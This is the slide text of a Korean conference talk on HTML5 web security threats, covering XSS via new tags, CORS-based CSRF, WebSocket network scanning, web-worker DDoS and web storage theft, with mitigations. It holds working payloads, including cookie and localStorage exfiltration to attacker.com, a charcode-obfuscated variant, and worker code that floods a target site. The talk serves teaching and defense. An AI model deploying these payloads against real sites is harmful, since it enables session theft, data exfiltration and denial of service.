및대응 주한익 (joohanik@coresec.co.kr)
About Me 소속및직책 코어시큐리티보안 1 팀장 & 엔지니어 관심분야 웹어플리케이션취약점분석, 악성코드분석 강의및컨퍼런스경력 삼성첨단기술연수소 (APT, 웹어플리케이션보안 ) 경찰수사연수원 ( 웹어플리케이션보안, 악성코드분석 ) 육군, 해군, 공군 ( 소프트웨어취약점분석, 익스플로잇제작 ) 한국전자통신연구원 ( 악성코드분석 ) etc...
Agenda HTML5 개요 ( 등장배경, 기존버전과의차이점 ) HTML5 를이용한웹기반보안위협 추가된속성및태그를이용한 XSS CORS 를이용한 CSRF 웹소켓을이용한사설네트워크정보수집 웹워커를이용한 DDoS 웹스토리지정보탈취 결론및질문
HTML5 개요
HTML5 개요 W3C 와 WHATWG 에서표준화중인차세대웹기반기술 플랫폼, 장치등에의존하지않는웹어플리케이션구현 을원칙으로설계됨 기존버전 (HTML4) 에비해명세의많은부분이바뀜 video/audio 태그 CORS(Cross-Origin Resource Sharing) XHR Level2 웹스토리지 웹워커 웹소켓 etc...
HTML5 개요 명세의많은부분이보안을고려하여설계되었지만웹어플리케이션에적용하는데있어현실적으로많은어려움이있음 결국변경된혹은새롭게추가된기술들로인해공격포인트가넓어지게생김 HTML5 와관련된보안이슈는브라우저가존재하는모든장치 (ex. 휴대전화, 자동차, 가전제품 ) 에서발생할수있음
( 추가된속성및태그를이용한 XSS)
보안위협 ( 추가된속성및태그를이용한 XSS) HTML5 의속성및태그를이용한필터우회 HTML5 에서새롭게추가된속성및태그들은 XSS 공격포인트를증가시킴 기존사용되었던블랙리스트기반필터를우회할수있음 <video><source onerror= alert(1) ></source></video> <audio><source onerror= alert(1) ></source></audio> <select autofocus onfocus= alert(1) > <textarea autofocus onfocus= alert(1) > <input type= text autofocus onfocus= alert(1) >
보안위협 ( 추가된속성및태그를이용한 XSS) video 태그를이용한공격코드예 <video><source onerror= new Image().src= http://www.attacker.com/getcookie.php?cookie= +docum ent.cookie ></source></video> CharCode 인코딩 <video><source onerror=eval(string.fromcharcode(110,101,119,32,73,109,97,103,101, 40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46, 97,116,116,97,99,107,101,114,46,99,111,109,47,103,101,116,99,111, 111,107,105,101,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))></sou rce></video>
보안위협 ( 추가된속성및태그를이용한 XSS) video 태그를이용한공격시나리오예 www.attacker.com 1 XSS 를통한악성스크립트실행 2 쿠키값전달
보안위협 ( 추가된속성및태그를이용한 XSS) XSS 공격에대한추가적인내용은 Mario Heiderich 의 HTML5 Security Cheatsheet 를참조 대응및완화방법 새롭게추가된속성및태그를이용한패턴에대한필터링목록갱신
(CORS 을이용한 CSRF)
(CORS 을이용한 CSRF) 개요 최근에는정보를제공하는사이트에서데이터를가져온후이를재사용하여서비스를창출하는매쉬업형태의사이트가많이만들어지고있음 ex) 하우징맵스 (housingmaps) 이러한사이트는특성상 XHR 을이용하여다른도메인에대한리소스요청을빈번하게발생시킬수밖에없음 이는 SOP(Same Origin Policy) 에위배되므로사이트개발과정에많은불편함을가져옴 하지만 HTML5 의 XHR Level2 COR(Cross- Origin Request) 을통해이를극복할수있게되었음
(CORS 을이용한 CSRF) COR(Cross-Origin Request) XHR Level1 은기본적으로 SOP(Same Origin Policy) 에제한을받기때문에 COR 을발생시킬수없음 하지만 HTML5 의 XHR Level2 는 COR 을지원하여 CORS(Cross-Origin Resource Sharing) 를가능하게함
(CORS 을이용한 CSRF) XHR Level2 를지원하지않는브라우저 XHR Level2 를지원하는브라우저 www.foo.com www.other.com www.foo.com www.other.com
(CORS 을이용한 CSRF) Origin 헤더 XHR Level2 를사용한요청에는기존에없던 Origin 헤더가포함됨 Origin 헤더는 COR 을발생시킨도메인의정보를포함하며해당요청을받은다른도메인측에서출처를확인하기위한용도로사용됨
(CORS 을이용한 CSRF) Access-Control-Allow-Origin 헤더 COR 을받는도메인측에서는 Origin 헤더를통해출처를확인하고응답을구분해서보내줄수있음 COR 을발생시킨브라우저의입장에서보았을때 COR 을받는도메인측에서전달된응답의허용여부는응답에포함된 Access-Control- Allow-Origin 헤더의값에의존함 브라우저는해당헤더의값이 COR 을발생시킨출처의도메인과일치해야해당응답을허용함
(CORS 을이용한 CSRF)
(CORS 을이용한 CSRF) withcredentials 속성 XHR Level2 를기반으로하는 COR 은기본적으로쿠키정보가포함되지않음 XHR 객체에서제공하는 withcredentials 속성을사용하면쿠키정보가포함된 COR 을발생시킬수있음
(CORS 을이용한 CSRF) Access-Control-Allow-Credentials 헤더 쿠키정보가포함된 COR 에대한응답에는반드시 Access-Control-Allow-Credentials : true 헤더가포함되어있어야브라우저가받아들임 해당헤더가포함된응답은 Access-Control- Allow-Origin 헤더의값에 Asterisk(*) 가아닌출처에대한정확한도메인이지정되어있어야함
(CORS 을이용한 CSRF)
(CORS 을이용한 CSRF) CORS 를이용한 CSRF 공격시나리오 1 XSS 를통한악성스크립트실행 www.foo.com 사용자개인정보요청 2 (Cross-Origin Request) www.attacker.com 4 공격자에게사용자개인정보전달 3 사용자개인정보응답 www.other.com
(CORS 을이용한 CSRF) 대응및완화방법 COR 을받아들이는사이트에서는필요하지않다면 Access-Control-Allow-Origin : * 혹은 Access-Control-Allow-Credentials : true 와같은코드패턴을사용하지않아야함
( 웹소켓을이용한사설네트워크 정보수집 )
( 웹소켓을이용한사설네트워크정보수집 ) 개요 HTTP 는프로토콜의특성상브라우저가먼저요청을하면웹서버가이를처리하여응답을수행함 HTTP 요청 / 응답과정이마무리되면기존형성된네트워크세션이종료됨 이러한통신방식은실시간채팅혹은주식정보모니터링과같이네트워크연결을지속적으로유지하여상호간의데이터를실시간으로동기화하는어플리케이션개발에제한이있을수있음 이를보완하기위해기존에는플래시, 플랙스, 실버라이트와같은기술을활용하기도했음 하지만웹소켓은이러한기술에의존하지않고도하나의 TCP 연결을통한양방향통신을가능하게함
( 웹소켓을이용한사설네트워크정보수집 ) 웹소켓기반클라이언트 - 서버연결과정 3-Way H.S 웹소켓 H.S
( 웹소켓을이용한사설네트워크정보수집 ) 웹소켓인터페이스 [Constructor(in DOMString url, in optional DOMString protocol)] interface WebSocket { readonly attribute DOMString URL; // ready state const unsigned short CONNECTING = 0; const unsigned short OPEN = 1; const unsigned short CLOSED = 2; readonly attribute unsigned short readystate; boolean send(in DOMString data); void close(); }; WebSocket implements EventTarget;
( 웹소켓을이용한사설네트워크정보수집 ) 웹소켓의 readystate 속성 CONNECTING(0), OPEN(1), CLOSED(2) 세가지상태정보중하나를가짐 웹소켓이처음생성될때최초 CONNECTING(0) 값을가짐
( 웹소켓을이용한사설네트워크정보수집 ) readystate 속성의 CONNECTING(0) 값지속시간은상황에따라차이가있음 원격시스템의반응유형 0 값지속시간 3-Way H.S 이후바로연결을종료시키는경우 <100ms (0.1 초미만 ) 3-Way H.S 이후응답을한후바로연결을종료시키는경우 <100ms (0.1 초미만 ) 3-Way H.S 이후연결을유지시키면서데이터수신을기다리는경우 3-Way H.S 이후연결을유지하면서 배너 혹은 웰컴 메시지와같은응답을전송하는경우 >30000ms (30 초초과 ) <100ms (FireFox, Safari) >30000ms (Chrome) 원격시스템포트의상태및필터링유무 0 값지속시간 원격시스템의포트가열려있는경우 <100ms (0.1초미만 ) 원격시스템의포트가닫혀있는경우 ~1000ms (1초) 패킷이필터링되었을경우 >30000ms (30초초과 )
( 웹소켓을이용한사설네트워크정보수집 ) 사설네트워크스캐닝과 readystate 속성과의관계 readystate 값이 0 인상태가일정시간을초과하여지속되면필터링되었거나시스템이다운된상태임 redaystate 값이 0 인상태가일정시간안에 1(Open) 혹은 2(Closed) 로바뀐다면시스템은동작중인상태임
( 웹소켓을이용한사설네트워크정보수집 ) 웹소켓을이용한사설네트워크정보수집시나리오 스캐닝결과전달 3 2 내부네트워크스캐닝 1 게시물열람및악성스크립트실행 악성스크립트가게시되어있는사이트
( 웹워커를이용한 DDoS)
( 웹워커를이용한 DDoS) 개요 브라우저는페이지의자바스크립트를처리하기위해일반적으로한개의쓰래드를사용함 이러한방식은자바스크립트코드가무거운웹어플리케이션을구현하는데문제가되기시작함 UI 블로킹 을대표적인예로들수있음 오늘날의브라우저는웹페이지를보는용도를넘어서어플리케이션의플랫폼역할을하고있기때문에이와같은문제들을해결할필요가있음
( 웹워커를이용한 DDoS) 웹워커? 자바스크립트코드를백그라운드에서독립적으로실행하도록해주는 API 백그라운드로실행되는쓰레드를 워커 라고함 다수의워커는운영체제의멀티쓰레드와유사한개념이라고볼수있음 메인페이지 ( 워커를생성한부모페이지 ) 에존재하는 windows 혹은 document 와같은 DOM 객체에대한직접적인접근이불가능함 메인페이지의쓰레드와워커가대화를하기위해서는 postmessage() 메써드를사용해야함
( 웹워커를이용한 DDoS) 메인페이지의 DOM 메인페이지를처리하는쓰레드 UI 조작을위한 DOM 접근 w.postmessage() 를통한데이터전달 워커 self.postmessage() 를통한데이터전달 접근불가능
( 웹워커를이용한 DDoS) 메인페이지를처리하는쓰레드에독립적이며백그라운드형태로실행된다 는웹워커의특징은다양한방식으로악용될수있음 ex. DDoS 공격
( 웹워커를이용한 DDoS) DDoS 공격에사용되는워커를생성하는코드 <video controls= controls width= 640 height= 480 > <source src= PSY-GANGNAM_STYLE.mp4 type= video/mp4 /> </video> <script> var w; var y; If(type(Worker)!== undefined ) { w = new Worker( ddos.js ); // 첫번째워커생성 y = new Worker( ddos.js ); // 두번째워커생성 } </script>
( 웹워커를이용한 DDoS) 워커에의해실행되는자바스크립트코드 If (!xmlhttp && typeof XMLHttpRequest!= undefined ) { xmlhttp = new XMLHttpRequest(); } temp = http://www.ddostarget.com/index.php?p= + Math.random(); // XHR 객체를이용하여 www.ddostarget.com 에 HTTP 트래픽을발생시킴 xmlhttp.open( GET, temp, true); xmlhttp.sedn(null);
( 웹워커를이용한 DDoS) 웹워커를이용한 DDoS 공격시나리오 1 게시물열람및링크클릭 3 웹워커에의한 DDoS 트래픽발생 2 동영상을재생하면서웹워커실행 victim s browser victim s browser victim s browser
( 웹스토리지정보탈취 )
( 웹스토리지정보탈취 ) 개요 웹스토리지 (DOM 스토리지 ) 는클라이언트의브라우저에키 - 값형태로데이터를저장하고관리할수있도록해주는 API 현재웹상에서많이사용되고있는쿠키를대체할차세대기술로주목받고있음
( 웹스토리지정보탈취 ) 웹스토리지의특징 도메인당평균적으로 5MB 정도의공간을지원함 HTTP 요청헤더에데이터가자동으로포함되지않음 연관배열형태의데이터접근및관리메커니즘제공 로컬스토리지 와 세션스토리지 로나누어짐
( 웹스토리지정보탈취 ) 로컬스토리지 vs 세션스토리지 도메인마다별도의영역이생성된다는공통점을가지고있음 유효범위와생존기간부분에서차이점을보임
( 웹스토리지정보탈취 ) 세션스토리지 로컬스토리지 윈도우객체 www.a.com 의세션스토리지 www.b.com 의세션스토리지 윈도우객체 도메인별로별도의로컬스토리지가할당되며, 윈도우가달라도동일한도메인일경우공유함 도메인이다르므로별도의세션스토리지가할당됨윈도우가다르면같은도메인에접근해도별도의세션스토리지가할당됨 www.a.com 의로컬스토리지 www.b.com 의로컬스토리지 윈도우객체 www.a.com 의세션스토리지 윈도우객체 도메인별로별도의로컬스토리지가할당되며, 윈도우가달라도동일한도메인일경우공유함
( 웹스토리지정보탈취 ) YouTube 의경우사용자의재생목록, 재생화면크기, 볼륨등의설정관련정보를로컬스토리지에기록함 context-ixsn81squ6e yt-player-volume {"data":"{\"clickindex\":3,\"items\":[{\"type\ {"volume":100,"nonnormalized":null,"muted":false}
( 웹스토리지정보탈취 ) 웹스토리지인터페이스 interface Storage { readonly attribute unsigned long length; DOMString key(unsigned long index); getter DOMString getitem(domstring key); setter creator void setitem(domstring key, DOMString value); delete void removeitem(domstring key); void clear(); };
( 웹스토리지정보탈취 ) 브라우저의웹스토리지데이터를탈취하는코드예 var contents = ; if(localstorage.length) { for(i in localstorage) { Contents += i+ : +localstorage.getitem(i)+ \n ; } } new Image().src = http://www.attacker.com/getlocalstorage.php= +encodeuricomponent (contents);
( 웹스토리지정보탈취 ) 브라우저의웹스토리지데이터탈취시나리오 해당사용자의방문회수, 최근게시한게시물의제목등을로컬스토리지에기록하고있음 www.attacker.com 2 공격자에게스토리지데이터전달 1 게시물열람및악성스크립트실행
References & Resources Mario Heiderich s HTML5 Security Cheatsheet http://heideri.ch/jso/ Attack & Defense Lab http://www.andlabs.org/ Performing DDoS Attacks in a web page http://lyric.im/performing-ddos-attacks-in-a-web-page/ HTML5 localstorage Attack Vectors & Security by Shreeraj Shah http://www.slideshare.net/fullscreen/shreeraj/html5-localstorageattack-vectors/1
결론및질문